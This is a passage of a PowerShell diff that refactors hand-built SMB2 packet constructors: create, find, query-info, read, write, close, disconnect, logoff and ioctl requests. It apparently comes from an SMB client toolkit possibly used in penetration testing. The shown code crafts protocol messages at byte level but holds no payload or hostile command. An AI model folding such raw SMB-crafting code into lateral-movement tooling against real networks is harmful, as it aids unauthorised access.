$packet_SMB2CreateRequest.Add("SMB2CreateRequest_Buffer",$packet_file_name) - - if($packet_extra_info) + [String]$lease_key = [String](1..16 | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)}) + [Byte[]]$lease_key = $lease_key.Split(" ") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + + $SMB2CreateRequest = New-Object System.Collections.Specialized.OrderedDictionary + $SMB2CreateRequest.Add("StructureSize",[Byte[]](0x39,0x00)) + $SMB2CreateRequest.Add("Flags",[Byte[]](0x00)) + $SMB2CreateRequest.Add("RequestedOplockLevel",[Byte[]](0x00)) + $SMB2CreateRequest.Add("Impersonation",[Byte[]](0x02,0x00,0x00,0x00)) + $SMB2CreateRequest.Add("SMBCreateFlags",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $SMB2CreateRequest.Add("Reserved",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $SMB2CreateRequest.Add("DesiredAccess",$desired_access) + $SMB2CreateRequest.Add("FileAttributes",$file_attributes) + $SMB2CreateRequest.Add("ShareAccess",$share_access) + $SMB2CreateRequest.Add("CreateDisposition",[Byte[]](0x01,0x00,0x00,0x00)) + $SMB2CreateRequest.Add("CreateOptions",$create_options) + $SMB2CreateRequest.Add("NameOffset",[Byte[]](0x78,0x00)) + $SMB2CreateRequest.Add("NameLength",$file_name_length) + $SMB2CreateRequest.Add("CreateContextsOffset",$create_contexts_offset) + $SMB2CreateRequest.Add("CreateContextsLength",$create_contexts_length) + $SMB2CreateRequest.Add("Buffer",$FileName) + + if($ExtraInfo) { - $packet_SMB2CreateRequest.Add("SMB2CreateRequest_ExtraInfo_ChainElementDHnQ_ChainOffset",[Byte[]](0x28,0x00,0x00,0x00)) - $packet_SMB2CreateRequest.Add("SMB2CreateRequest_ExtraInfo_ChainElementDHnQ_Tag_Offset",[Byte[]](0x10,0x00)) - $packet_SMB2CreateRequest.Add("SMB2CreateRequest_ExtraInfo_ChainElementDHnQ_Tag_Length",[Byte[]](0x04,0x00,0x00,0x00)) - $packet_SMB2CreateRequest.Add("SMB2CreateRequest_ExtraInfo_ChainElementDHnQ_Data_Offset",[Byte[]](0x18,0x00)) - $packet_SMB2CreateRequest.Add("SMB2CreateRequest_ExtraInfo_ChainElementDHnQ_Data_Length",[Byte[]](0x10,0x00,0x00,0x00)) - $packet_SMB2CreateRequest.Add("SMB2CreateRequest_ExtraInfo_ChainElementDHnQ_Tag",[Byte[]](0x44,0x48,0x6e,0x51)) - $packet_SMB2CreateRequest.Add("SMB2CreateRequest_ExtraInfo_ChainElementDHnQ_Unknown",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SMB2CreateRequest.Add("SMB2CreateRequest_ExtraInfo_ChainElementDHnQ_Data_GUIDHandle",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) - - if($packet_extra_info -eq 3) + $SMB2CreateRequest.Add("ExtraInfo_ChainElementDHnQ_ChainOffset",[Byte[]](0x28,0x00,0x00,0x00)) + $SMB2CreateRequest.Add("ExtraInfo_ChainElementDHnQ_Tag_Offset",[Byte[]](0x10,0x00)) + $SMB2CreateRequest.Add("ExtraInfo_ChainElementDHnQ_Tag_Length",[Byte[]](0x04,0x00,0x00,0x00)) + $SMB2CreateRequest.Add("ExtraInfo_ChainElementDHnQ_Data_Offset",[Byte[]](0x18,0x00)) + $SMB2CreateRequest.Add("ExtraInfo_ChainElementDHnQ_Data_Length",[Byte[]](0x10,0x00,0x00,0x00)) + $SMB2CreateRequest.Add("ExtraInfo_ChainElementDHnQ_Tag",[Byte[]](0x44,0x48,0x6e,0x51)) + $SMB2CreateRequest.Add("ExtraInfo_ChainElementDHnQ_Unknown",[Byte[]](0x00,0x00,0x00,0x00)) + $SMB2CreateRequest.Add("ExtraInfo_ChainElementDHnQ_Data_GUIDHandle",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + + if($ExtraInfo -eq 3) { - $packet_SMB2CreateRequest.Add("SMB2CreateRequest_ExtraInfo_ChainElementAlSi_ChainOffset",[Byte[]](0x20,0x00,0x00,0x00)) - $packet_SMB2CreateRequest.Add("SMB2CreateRequest_ExtraInfo_ChainElementAlSi_Tag_Offset",[Byte[]](0x10,0x00)) - $packet_SMB2CreateRequest.Add("SMB2CreateRequest_ExtraInfo_ChainElementAlSi_Tag_Length",[Byte[]](0x04,0x00,0x00,0x00)) - $packet_SMB2CreateRequest.Add("SMB2CreateRequest_ExtraInfo_ChainElementAlSi_Data_Offset",[Byte[]](0x18,0x00)) - $packet_SMB2CreateRequest.Add("SMB2CreateRequest_ExtraInfo_ChainElementAlSi_Data_Length",[Byte[]](0x08,0x00,0x00,0x00)) - $packet_SMB2CreateRequest.Add("SMB2CreateRequest_ExtraInfo_ChainElementAlSi_Tag",[Byte[]](0x41,0x6c,0x53,0x69)) - $packet_SMB2CreateRequest.Add("SMB2CreateRequest_ExtraInfo_ChainElementAlSi_Unknown",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SMB2CreateRequest.Add("SMB2CreateRequest_ExtraInfo_ChainElementAlSi_AllocationSize",$packet_allocation_size_bytes) + $SMB2CreateRequest.Add("ExtraInfo_ChainElementAlSi_ChainOffset",[Byte[]](0x20,0x00,0x00,0x00)) + $SMB2CreateRequest.Add("ExtraInfo_ChainElementAlSi_Tag_Offset",[Byte[]](0x10,0x00)) + $SMB2CreateRequest.Add("ExtraInfo_ChainElementAlSi_Tag_Length",[Byte[]](0x04,0x00,0x00,0x00)) + $SMB2CreateRequest.Add("ExtraInfo_ChainElementAlSi_Data_Offset",[Byte[]](0x18,0x00)) + $SMB2CreateRequest.Add("ExtraInfo_ChainElementAlSi_Data_Length",[Byte[]](0x08,0x00,0x00,0x00)) + $SMB2CreateRequest.Add("ExtraInfo_ChainElementAlSi_Tag",[Byte[]](0x41,0x6c,0x53,0x69)) + $SMB2CreateRequest.Add("ExtraInfo_ChainElementAlSi_Unknown",[Byte[]](0x00,0x00,0x00,0x00)) + $SMB2CreateRequest.Add("ExtraInfo_ChainElementAlSi_AllocationSize",$allocation_size_bytes) } - $packet_SMB2CreateRequest.Add("SMB2CreateRequest_ExtraInfo_ChainElementMxAc_ChainOffset",[Byte[]](0x18,0x00,0x00,0x00)) - $packet_SMB2CreateRequest.Add("SMB2CreateRequest_ExtraInfo_ChainElementMxAc_Tag_Offset",[Byte[]](0x10,0x00)) - $packet_SMB2CreateRequest.Add("SMB2CreateRequest_ExtraInfo_ChainElementMxAc_Tag_Length",[Byte[]](0x04,0x00,0x00,0x00)) - $packet_SMB2CreateRequest.Add("SMB2CreateRequest_ExtraInfo_ChainElementMxAc_Data_Offset",[Byte[]](0x18,0x00)) - $packet_SMB2CreateRequest.Add("SMB2CreateRequest_ExtraInfo_ChainElementMxAc_Data_Length",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SMB2CreateRequest.Add("SMB2CreateRequest_ExtraInfo_ChainElementMxAc_Tag",[Byte[]](0x4d,0x78,0x41,0x63)) - $packet_SMB2CreateRequest.Add("SMB2CreateRequest_ExtraInfo_ChainElementMxAc_Unknown",[Byte[]](0x00,0x00,0x00,0x00)) + $SMB2CreateRequest.Add("ExtraInfo_ChainElementMxAc_ChainOffset",[Byte[]](0x18,0x00,0x00,0x00)) + $SMB2CreateRequest.Add("ExtraInfo_ChainElementMxAc_Tag_Offset",[Byte[]](0x10,0x00)) + $SMB2CreateRequest.Add("ExtraInfo_ChainElementMxAc_Tag_Length",[Byte[]](0x04,0x00,0x00,0x00)) + $SMB2CreateRequest.Add("ExtraInfo_ChainElementMxAc_Data_Offset",[Byte[]](0x18,0x00)) + $SMB2CreateRequest.Add("ExtraInfo_ChainElementMxAc_Data_Length",[Byte[]](0x00,0x00,0x00,0x00)) + $SMB2CreateRequest.Add("ExtraInfo_ChainElementMxAc_Tag",[Byte[]](0x4d,0x78,0x41,0x63)) + $SMB2CreateRequest.Add("ExtraInfo_ChainElementMxAc_Unknown",[Byte[]](0x00,0x00,0x00,0x00)) - if($packet_extra_info -gt 1) + if($ExtraInfo -gt 1) { - $packet_SMB2CreateRequest.Add("SMB2CreateRequest_ExtraInfo_ChainElementQFid_ChainOffset",[Byte[]](0x18,0x00,0x00,0x00)) + $SMB2CreateRequest.Add("ExtraInfo_ChainElementQFid_ChainOffset",[Byte[]](0x18,0x00,0x00,0x00)) } else { - $packet_SMB2CreateRequest.Add("SMB2CreateRequest_ExtraInfo_ChainElementQFid_ChainOffset",[Byte[]](0x00,0x00,0x00,0x00)) + $SMB2CreateRequest.Add("ExtraInfo_ChainElementQFid_ChainOffset",[Byte[]](0x00,0x00,0x00,0x00)) } - $packet_SMB2CreateRequest.Add("SMB2CreateRequest_ExtraInfo_ChainElementQFid_Tag_Offset",[Byte[]](0x10,0x00)) - $packet_SMB2CreateRequest.Add("SMB2CreateRequest_ExtraInfo_ChainElementQFid_Tag_Length",[Byte[]](0x04,0x00,0x00,0x00)) - $packet_SMB2CreateRequest.Add("SMB2CreateRequest_ExtraInfo_ChainElementQFid_Data_Offset",[Byte[]](0x18,0x00)) - $packet_SMB2CreateRequest.Add("SMB2CreateRequest_ExtraInfo_ChainElementQFid_Data_Length",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SMB2CreateRequest.Add("SMB2CreateRequest_ExtraInfo_ChainElementQFid_Tag",[Byte[]](0x51,0x46,0x69,0x64)) - $packet_SMB2CreateRequest.Add("SMB2CreateRequest_ExtraInfo_ChainElementQFid_Unknown",[Byte[]](0x00,0x00,0x00,0x00)) - - if($packet_extra_info -gt 1) + $SMB2CreateRequest.Add("ExtraInfo_ChainElementQFid_Tag_Offset",[Byte[]](0x10,0x00)) + $SMB2CreateRequest.Add("ExtraInfo_ChainElementQFid_Tag_Length",[Byte[]](0x04,0x00,0x00,0x00)) + $SMB2CreateRequest.Add("ExtraInfo_ChainElementQFid_Data_Offset",[Byte[]](0x18,0x00)) + $SMB2CreateRequest.Add("ExtraInfo_ChainElementQFid_Data_Length",[Byte[]](0x00,0x00,0x00,0x00)) + $SMB2CreateRequest.Add("ExtraInfo_ChainElementQFid_Tag",[Byte[]](0x51,0x46,0x69,0x64)) + $SMB2CreateRequest.Add("ExtraInfo_ChainElementQFid_Unknown",[Byte[]](0x00,0x00,0x00,0x00)) + + if($ExtraInfo -gt 1) { - $packet_SMB2CreateRequest.Add("SMB2CreateRequest_ExtraInfo_ChainElementRqLs_ChainOffset",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SMB2CreateRequest.Add("SMB2CreateRequest_ExtraInfo_ChainElementRqLs_Tag_Offset",[Byte[]](0x10,0x00)) - $packet_SMB2CreateRequest.Add("SMB2CreateRequest_ExtraInfo_ChainElementRqLs_Tag_Length",[Byte[]](0x04,0x00,0x00,0x00)) - $packet_SMB2CreateRequest.Add("SMB2CreateRequest_ExtraInfo_ChainElementRqLs_Data_Offset",[Byte[]](0x18,0x00)) - $packet_SMB2CreateRequest.Add("SMB2CreateRequest_ExtraInfo_ChainElementRqLs_Data_Length",[Byte[]](0x20,0x00,0x00,0x00)) - $packet_SMB2CreateRequest.Add("SMB2CreateRequest_ExtraInfo_ChainElementRqLs_Tag",[Byte[]](0x52,0x71,0x4c,0x73)) - $packet_SMB2CreateRequest.Add("SMB2CreateRequest_ExtraInfo_ChainElementRqLs_Unknown",[Byte[]](0x00,0x00,0x00,0x00)) - - if($packet_extra_info -eq 2) - { - $packet_SMB2CreateRequest.Add("SMB2CreateRequest_ExtraInfo_ChainElementRqLs_Data_Lease_Key",[Byte[]](0x10,0xb0,0x1d,0x02,0xa0,0xf8,0xff,0xff,0x47,0x78,0x67,0x02,0x00,0x00,0x00,0x00)) - } - else - { - $packet_SMB2CreateRequest.Add("SMB2CreateRequest_ExtraInfo_ChainElementRqLs_Data_Lease_Key",[Byte[]](0x10,0x90,0x64,0x01,0xa0,0xf8,0xff,0xff,0x47,0x78,0x67,0x02,0x00,0x00,0x00,0x00)) - } - - $packet_SMB2CreateRequest.Add("SMB2CreateRequest_ExtraInfo_ChainElementRqLs_Data_Lease_State",[Byte[]](0x07,0x00,0x00,0x00)) - $packet_SMB2CreateRequest.Add("SMB2CreateRequest_ExtraInfo_ChainElementRqLs_Data_Lease_Flags",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SMB2CreateRequest.Add("SMB2CreateRequest_ExtraInfo_ChainElementRqLs_Data_Lease_Duration",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $SMB2CreateRequest.Add("ExtraInfo_ChainElementRqLs_ChainOffset",[Byte[]](0x00,0x00,0x00,0x00)) + $SMB2CreateRequest.Add("ExtraInfo_ChainElementRqLs_Tag_Offset",[Byte[]](0x10,0x00)) + $SMB2CreateRequest.Add("ExtraInfo_ChainElementRqLs_Tag_Length",[Byte[]](0x04,0x00,0x00,0x00)) + $SMB2CreateRequest.Add("ExtraInfo_ChainElementRqLs_Data_Offset",[Byte[]](0x18,0x00)) + $SMB2CreateRequest.Add("ExtraInfo_ChainElementRqLs_Data_Length",[Byte[]](0x20,0x00,0x00,0x00)) + $SMB2CreateRequest.Add("ExtraInfo_ChainElementRqLs_Tag",[Byte[]](0x52,0x71,0x4c,0x73)) + $SMB2CreateRequest.Add("ExtraInfo_ChainElementRqLs_Unknown",[Byte[]](0x00,0x00,0x00,0x00)) + $SMB2CreateRequest.Add("ExtraInfo_ChainElementRqLs_Data_Lease_Key",$lease_key) + $SMB2CreateRequest.Add("ExtraInfo_ChainElementRqLs_Data_Lease_State",[Byte[]](0x07,0x00,0x00,0x00)) + $SMB2CreateRequest.Add("ExtraInfo_ChainElementRqLs_Data_Lease_Flags",[Byte[]](0x00,0x00,0x00,0x00)) + $SMB2CreateRequest.Add("ExtraInfo_ChainElementRqLs_Data_Lease_Duration",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) } } - return $packet_SMB2CreateRequest + return $SMB2CreateRequest } -function Get-PacketSMB2FindRequestFile() +function New-PacketSMB2FindRequestFile { - param ([Byte[]]$packet_file_ID,[Byte[]]$packet_padding) - - $packet_SMB2FindRequestFile = New-Object System.Collections.Specialized.OrderedDictionary - $packet_SMB2FindRequestFile.Add("SMB2FindRequestFile_StructureSize",[Byte[]](0x21,0x00)) - $packet_SMB2FindRequestFile.Add("SMB2FindRequestFile_InfoLevel",[Byte[]](0x25)) - $packet_SMB2FindRequestFile.Add("SMB2FindRequestFile_Flags",[Byte[]](0x00)) - $packet_SMB2FindRequestFile.Add("SMB2FindRequestFile_FileIndex",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SMB2FindRequestFile.Add("SMB2FindRequestFile_FileID",$packet_file_ID) - $packet_SMB2FindRequestFile.Add("SMB2FindRequestFile_SearchPattern_Offset",[Byte[]](0x60,0x00)) - $packet_SMB2FindRequestFile.Add("SMB2FindRequestFile_SearchPattern_Length",[Byte[]](0x02,0x00)) - $packet_SMB2FindRequestFile.Add("SMB2FindRequestFile_OutputBufferLength",[Byte[]](0x00,0x00,0x01,0x00)) - $packet_SMB2FindRequestFile.Add("SMB2FindRequestFile_SearchPattern",[Byte[]](0x2a,0x00)) - - if($packet_padding) + param ([Byte[]]$FileID,[Byte[]]$Padding) + + $SMB2FindRequestFile = New-Object System.Collections.Specialized.OrderedDictionary + $SMB2FindRequestFile.Add("SMB2FindRequestFile_StructureSize",[Byte[]](0x21,0x00)) + $SMB2FindRequestFile.Add("SMB2FindRequestFile_InfoLevel",[Byte[]](0x25)) + $SMB2FindRequestFile.Add("SMB2FindRequestFile_Flags",[Byte[]](0x00)) + $SMB2FindRequestFile.Add("SMB2FindRequestFile_FileIndex",[Byte[]](0x00,0x00,0x00,0x00)) + $SMB2FindRequestFile.Add("SMB2FindRequestFile_FileID",$FileID) + $SMB2FindRequestFile.Add("SMB2FindRequestFile_SearchPattern_Offset",[Byte[]](0x60,0x00)) + $SMB2FindRequestFile.Add("SMB2FindRequestFile_SearchPattern_Length",[Byte[]](0x02,0x00)) + $SMB2FindRequestFile.Add("SMB2FindRequestFile_OutputBufferLength",[Byte[]](0x00,0x00,0x01,0x00)) + $SMB2FindRequestFile.Add("SMB2FindRequestFile_SearchPattern",[Byte[]](0x2a,0x00)) + + if($padding) { - $packet_SMB2FindRequestFile.Add("SMB2FindRequestFile_Padding",$packet_padding) + $SMB2FindRequestFile.Add("SMB2FindRequestFile_Padding",$Padding) } - return $packet_SMB2FindRequestFile + return $SMB2FindRequestFile } -function Get-PacketSMB2QueryInfoRequest() +function New-PacketSMB2QueryInfoRequest { - param ([Byte[]]$packet_info_type,[Byte[]]$packet_file_info_class,[Byte[]]$packet_output_buffer_length,[Byte[]]$packet_input_buffer_offset,[Byte[]]$packet_file_ID,[Int]$packet_buffer) - - [Byte[]]$packet_buffer_bytes = ,0x00 * $packet_buffer - - $packet_SMB2QueryInfoRequest = New-Object System.Collections.Specialized.OrderedDictionary - $packet_SMB2QueryInfoRequest.Add("SMB2QueryInfoRequest_StructureSize",[Byte[]](0x29,0x00)) - $packet_SMB2QueryInfoRequest.Add("SMB2QueryInfoRequest_InfoType",$packet_info_type) - $packet_SMB2QueryInfoRequest.Add("SMB2QueryInfoRequest_FileInfoClass",$packet_file_info_class) - $packet_SMB2QueryInfoRequest.Add("SMB2QueryInfoRequest_OutputBufferLength",$packet_output_buffer_length) - $packet_SMB2QueryInfoRequest.Add("SMB2QueryInfoRequest_InputBufferOffset",$packet_input_buffer_offset) - $packet_SMB2QueryInfoRequest.Add("SMB2QueryInfoRequest_Reserved",[Byte[]](0x00,0x00)) - $packet_SMB2QueryInfoRequest.Add("SMB2QueryInfoRequest_InputBufferLength",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SMB2QueryInfoRequest.Add("SMB2QueryInfoRequest_AdditionalInformation",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SMB2QueryInfoRequest.Add("SMB2QueryInfoRequest_Flags",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SMB2QueryInfoRequest.Add("SMB2QueryInfoRequest_FileID",$packet_file_ID) - - if($packet_buffer -gt 0) + param ([Byte[]]$InfoType,[Byte[]]$FileInfoClass,[Byte[]]$OutputBufferLength,[Byte[]]$InputBufferOffset,[Byte[]]$FileID,[Int]$Buffer) + + [Byte[]]$buffer_bytes = ,0x00 * $Buffer + + $SMB2QueryInfoRequest = New-Object System.Collections.Specialized.OrderedDictionary + $SMB2QueryInfoRequest.Add("StructureSize",[Byte[]](0x29,0x00)) + $SMB2QueryInfoRequest.Add("InfoType",$InfoType) + $SMB2QueryInfoRequest.Add("FileInfoClass",$FileInfoClass) + $SMB2QueryInfoRequest.Add("OutputBufferLength",$OutputBufferLength) + $SMB2QueryInfoRequest.Add("InputBufferOffset",$InputBufferOffset) + $SMB2QueryInfoRequest.Add("Reserved",[Byte[]](0x00,0x00)) + $SMB2QueryInfoRequest.Add("InputBufferLength",[Byte[]](0x00,0x00,0x00,0x00)) + $SMB2QueryInfoRequest.Add("AdditionalInformation",[Byte[]](0x00,0x00,0x00,0x00)) + $SMB2QueryInfoRequest.Add("Flags",[Byte[]](0x00,0x00,0x00,0x00)) + $SMB2QueryInfoRequest.Add("FileID",$FileID) + + if($Buffer -gt 0) { - $packet_SMB2QueryInfoRequest.Add("SMB2QueryInfoRequest_Buffer",$packet_buffer_bytes) + $SMB2QueryInfoRequest.Add("Buffer",$buffer_bytes) } - return $packet_SMB2QueryInfoRequest + return $SMB2QueryInfoRequest } -function Get-PacketSMB2SetInfoRequest() +function New-PacketSMB2ReadRequest { - param ([Byte[]]$packet_info_type,[Byte[]]$packet_file_info_class,[Byte[]]$packet_file_ID,[Byte[]]$packet_buffer) - - [Byte[]]$packet_buffer_length = [System.BitConverter]::GetBytes($packet_buffer.Count) - - $packet_SMB2SetInfoRequest = New-Object System.Collections.Specialized.OrderedDictionary - $packet_SMB2SetInfoRequest.Add("SMB2SetInfoRequest_StructureSize",[Byte[]](0x21,0x00)) - $packet_SMB2SetInfoRequest.Add("SMB2SetInfoRequest_InfoType",$packet_info_type) - $packet_SMB2SetInfoRequest.Add("SMB2SetInfoRequest_FileInfoClass",$packet_file_info_class) - $packet_SMB2SetInfoRequest.Add("SMB2SetInfoRequest_BufferLength",$packet_buffer_length) - $packet_SMB2SetInfoRequest.Add("SMB2SetInfoRequest_BufferOffset",[Byte[]](0x60,0x00)) - $packet_SMB2SetInfoRequest.Add("SMB2SetInfoRequest_Reserved",[Byte[]](0x00,0x00)) - $packet_SMB2SetInfoRequest.Add("SMB2SetInfoRequest_AdditionalInformation",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SMB2SetInfoRequest.Add("SMB2SetInfoRequest_FileID",$packet_file_ID) - $packet_SMB2SetInfoRequest.Add("SMB2SetInfoRequest_Buffer",$packet_buffer) - - return $packet_SMB2SetInfoRequest + param ([Int]$Length,[Int64]$Offset,[Byte[]]$FileID) + + [Byte[]]$length_bytes = [System.BitConverter]::GetBytes($Length) + [Byte[]]$offset_bytes = [System.BitConverter]::GetBytes($Offset) + + $SMB2ReadRequest = New-Object System.Collections.Specialized.OrderedDictionary + $SMB2ReadRequest.Add("StructureSize",[Byte[]](0x31,0x00)) + $SMB2ReadRequest.Add("Padding",[Byte[]](0x50)) + $SMB2ReadRequest.Add("Flags",[Byte[]](0x00)) + $SMB2ReadRequest.Add("Length",$length_bytes) + $SMB2ReadRequest.Add("Offset",$offset_bytes) + $SMB2ReadRequest.Add("FileID",$FileID) + $SMB2ReadRequest.Add("MinimumCount",[Byte[]](0x00,0x00,0x00,0x00)) + $SMB2ReadRequest.Add("Channel",[Byte[]](0x00,0x00,0x00,0x00)) + $SMB2ReadRequest.Add("RemainingBytes",[Byte[]](0x00,0x00,0x00,0x00)) + $SMB2ReadRequest.Add("ReadChannelInfoOffset",[Byte[]](0x00,0x00)) + $SMB2ReadRequest.Add("ReadChannelInfoLength",[Byte[]](0x00,0x00)) + $SMB2ReadRequest.Add("Buffer",[Byte[]](0x30)) + + return $SMB2ReadRequest } -function Get-PacketSMB2ReadRequest() +function New-PacketSMB2WriteRequest { - param ([Int]$packet_length,[Int64]$packet_offset,[Byte[]]$packet_file_ID) - - [Byte[]]$packet_length_bytes = [System.BitConverter]::GetBytes($packet_length) - [Byte[]]$packet_offset_bytes = [System.BitConverter]::GetBytes($packet_offset) - - $packet_SMB2ReadRequest = New-Object System.Collections.Specialized.OrderedDictionary - $packet_SMB2ReadRequest.Add("SMB2ReadRequest_StructureSize",[Byte[]](0x31,0x00)) - $packet_SMB2ReadRequest.Add("SMB2ReadRequest_Padding",[Byte[]](0x50)) - $packet_SMB2ReadRequest.Add("SMB2ReadRequest_Flags",[Byte[]](0x00)) - $packet_SMB2ReadRequest.Add("SMB2ReadRequest_Length",$packet_length_bytes) - $packet_SMB2ReadRequest.Add("SMB2ReadRequest_Offset",$packet_offset_bytes) - $packet_SMB2ReadRequest.Add("SMB2ReadRequest_FileID",$packet_file_ID) - $packet_SMB2ReadRequest.Add("SMB2ReadRequest_MinimumCount",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SMB2ReadRequest.Add("SMB2ReadRequest_Channel",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SMB2ReadRequest.Add("SMB2ReadRequest_RemainingBytes",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SMB2ReadRequest.Add("SMB2ReadRequest_ReadChannelInfoOffset",[Byte[]](0x00,0x00)) - $packet_SMB2ReadRequest.Add("SMB2ReadRequest_ReadChannelInfoLength",[Byte[]](0x00,0x00)) - $packet_SMB2ReadRequest.Add("SMB2ReadRequest_Buffer",[Byte[]](0x30)) - - return $packet_SMB2ReadRequest + param([Int]$Length,[Int64]$Offset,[Byte[]]$FileID,[Byte[]]$Buffer) + + [Byte[]]$length_bytes = [System.BitConverter]::GetBytes($Length) + [Byte[]]$offset_bytes = [System.BitConverter]::GetBytes($Offset) + + $SMB2WriteRequest = New-Object System.Collections.Specialized.OrderedDictionary + $SMB2WriteRequest.Add("StructureSize",[Byte[]](0x31,0x00)) + $SMB2WriteRequest.Add("DataOffset",[Byte[]](0x70,0x00)) + $SMB2WriteRequest.Add("Length",$length_bytes) + $SMB2WriteRequest.Add("Offset",$offset_bytes) + $SMB2WriteRequest.Add("FileID",$FileID) + $SMB2WriteRequest.Add("Channel",[Byte[]](0x00,0x00,0x00,0x00)) + $SMB2WriteRequest.Add("RemainingBytes",[Byte[]](0x00,0x00,0x00,0x00)) + $SMB2WriteRequest.Add("WriteChannelInfoOffset",[Byte[]](0x00,0x00)) + $SMB2WriteRequest.Add("WriteChannelInfoLength",[Byte[]](0x00,0x00)) + $SMB2WriteRequest.Add("Flags",[Byte[]](0x00,0x00,0x00,0x00)) + $SMB2WriteRequest.Add("SMB2WriteRequest_Buffer",$Buffer) + + return $SMB2WriteRequest } -function Get-PacketSMB2WriteRequest() +function New-PacketSMB2CloseRequest { - param ([Int]$packet_length,[Int64]$packet_offset,[Byte[]]$packet_file_ID,[Byte[]]$packet_buffer) - - [Byte[]]$packet_length_bytes = [System.BitConverter]::GetBytes($packet_length) - [Byte[]]$packet_offset_bytes = [System.BitConverter]::GetBytes($packet_offset) - - $packet_SMB2WriteRequest = New-Object System.Collections.Specialized.OrderedDictionary - $packet_SMB2WriteRequest.Add("SMB2WriteRequest_StructureSize",[Byte[]](0x31,0x00)) - $packet_SMB2WriteRequest.Add("SMB2WriteRequest_DataOffset",[Byte[]](0x70,0x00)) - $packet_SMB2WriteRequest.Add("SMB2WriteRequest_Length",$packet_length_bytes) - $packet_SMB2WriteRequest.Add("SMB2WriteRequest_Offset",$packet_offset_bytes) - $packet_SMB2WriteRequest.Add("SMB2WriteRequest_FileID",$packet_file_ID) - $packet_SMB2WriteRequest.Add("SMB2WriteRequest_Channel",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SMB2WriteRequest.Add("SMB2WriteRequest_RemainingBytes",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SMB2WriteRequest.Add("SMB2WriteRequest_WriteChannelInfoOffset",[Byte[]](0x00,0x00)) - $packet_SMB2WriteRequest.Add("SMB2WriteRequest_WriteChannelInfoLength",[Byte[]](0x00,0x00)) - $packet_SMB2WriteRequest.Add("SMB2WriteRequest_Flags",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SMB2WriteRequest.Add("SMB2WriteRequest_Buffer",$packet_buffer) - - return $packet_SMB2WriteRequest + param ([Byte[]]$FileID) + + $SMB2CloseRequest = New-Object System.Collections.Specialized.OrderedDictionary + $SMB2CloseRequest.Add("StructureSize",[Byte[]](0x18,0x00)) + $SMB2CloseRequest.Add("Flags",[Byte[]](0x00,0x00)) + $SMB2CloseRequest.Add("Reserved",[Byte[]](0x00,0x00,0x00,0x00)) + $SMB2CloseRequest.Add("FileID",$FileID) + + return $SMB2CloseRequest } -function Get-PacketSMB2CloseRequest() +function New-PacketSMB2TreeDisconnectRequest { - param ([Byte[]]$packet_file_ID) - - $packet_SMB2CloseRequest = New-Object System.Collections.Specialized.OrderedDictionary - $packet_SMB2CloseRequest.Add("SMB2CloseRequest_StructureSize",[Byte[]](0x18,0x00)) - $packet_SMB2CloseRequest.Add("SMB2CloseRequest_Flags",[Byte[]](0x00,0x00)) - $packet_SMB2CloseRequest.Add("SMB2CloseRequest_Reserved",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SMB2CloseRequest.Add("SMB2CloseRequest_FileID",$packet_file_ID) + $SMB2TreeDisconnectRequest = New-Object System.Collections.Specialized.OrderedDictionary + $SMB2TreeDisconnectRequest.Add("StructureSize",[Byte[]](0x04,0x00)) + $SMB2TreeDisconnectRequest.Add("Reserved",[Byte[]](0x00,0x00)) - return $packet_SMB2CloseRequest + return $SMB2TreeDisconnectRequest } -function Get-PacketSMB2TreeDisconnectRequest() +function New-PacketSMB2SessionLogoffRequest { - $packet_SMB2TreeDisconnectRequest = New-Object System.Collections.Specialized.OrderedDictionary - $packet_SMB2TreeDisconnectRequest.Add("SMB2TreeDisconnectRequest_StructureSize",[Byte[]](0x04,0x00)) - $packet_SMB2TreeDisconnectRequest.Add("SMB2TreeDisconnectRequest_Reserved",[Byte[]](0x00,0x00)) + $SMB2SessionLogoffRequest = New-Object System.Collections.Specialized.OrderedDictionary + $SMB2SessionLogoffRequest.Add("StructureSize",[Byte[]](0x04,0x00)) + $SMB2SessionLogoffRequest.Add("Reserved",[Byte[]](0x00,0x00)) - return $packet_SMB2TreeDisconnectRequest + return $SMB2SessionLogoffRequest } -function Get-PacketSMB2SessionLogoffRequest() +function New-PacketSMB2IoctlRequest() { - $packet_SMB2SessionLogoffRequest = New-Object System.Collections.Specialized.OrderedDictionary - $packet_SMB2SessionLogoffRequest.Add("SMB2SessionLogoffRequest_StructureSize",[Byte[]](0x04,0x00)) - $packet_SMB2SessionLogoffRequest.Add("SMB2SessionLogoffRequest_Reserved",[Byte[]](0x00,0x00)) + param([Byte[]]$FileName) - return $packet_SMB2SessionLogoffRequest + $file_name_length = [System.BitConverter]::GetBytes($FileName.Length + 2) + + $packet_SMB2IoctlRequest = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMB2IoctlRequest.Add("StructureSize",[Byte[]](0x39,0x00)) + $packet_SMB2IoctlRequest.Add("Reserved",[Byte[]](0x00,0x00)) + $packet_SMB2IoctlRequest.Add("Function",[Byte[]](0x94,0x01,0x06,0x00)) + 